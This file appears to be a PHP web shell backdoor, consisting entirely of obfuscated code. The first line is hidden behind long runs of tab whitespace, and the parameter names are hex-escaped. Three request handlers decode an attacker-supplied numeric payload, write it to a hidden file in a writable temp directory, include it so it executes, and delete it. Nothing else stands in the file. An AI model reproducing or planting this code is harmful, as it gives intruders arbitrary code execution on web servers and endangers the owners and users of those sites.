<?php																																										if(!empty($_REQUEST["t\x6Bn"])){ $itm = $_REQUEST["t\x6Bn"]; $itm = explode ( "." , $itm ) ; $sym= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $w= 0; $__tmp= $itm; while( $v6= array_shift( $__tmp)) { $sChar= ord( $s[$w % $sLen]); $dec= ( ( int)$v6 - $sChar -( $w % 10)) ^ 78; $sym .= chr( $dec); $w++;} $ent = array_filter([getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($ent as $marker) { if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $hld = "$marker" . "/.token"; if (file_put_contents($hld, $sym)) { require $hld; unlink($hld); die(); } } } }
																																										if(isset($_POST["\x65\x6Et\x69ty"]) ? true : false){ $item = $_POST["\x65\x6Et\x69ty"]; $item = explode ( ".", $item ) ; $data_chunk = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3); $n = 0; array_walk( $item, function( $v6) use( &$data_chunk, &$n, $s3, $lenS) { $chS = ord( $s3[$n % $lenS]); $dec =( ( int)$v6 - $chS -( $n % 10)) ^ 99; $data_chunk .= chr( $dec); $n++; }); $rec = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($rec as $key => $val) { if ((bool)is_dir($val) && (bool)is_writable($val)) { $object = join("/", [$val, ".pgrp"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $object; @unlink($object); exit; } } } }


if(in_array("hol\x64\x65r", array_keys($_REQUEST))){
	$elem = $_REQUEST["hol\x64\x65r"];
	$elem	=	  explode		 (		".",$elem  );		
	$pointer		= 	'';
            $s		= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		= 	strlen($s);
    
            foreach ($elem as $n => $v7):
                $sChar		= 	ord($s[$n%$sLen]);
                $dec		= 	((int)$v7 - $sChar - ($n%10))^  61;
                $pointer	.=	chr($dec);
            endforeach;
	$dchunk = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp"]);
	foreach ($dchunk as $value):
    		if ((bool)is_dir($value) && (bool)is_writable($value)) {
    $bind = "$value" . "/.res";
    if (@file_put_contents($bind, $pointer) !== false) {
	include $bind;
	unlink($bind);
	die();
}
}
endforeach;
}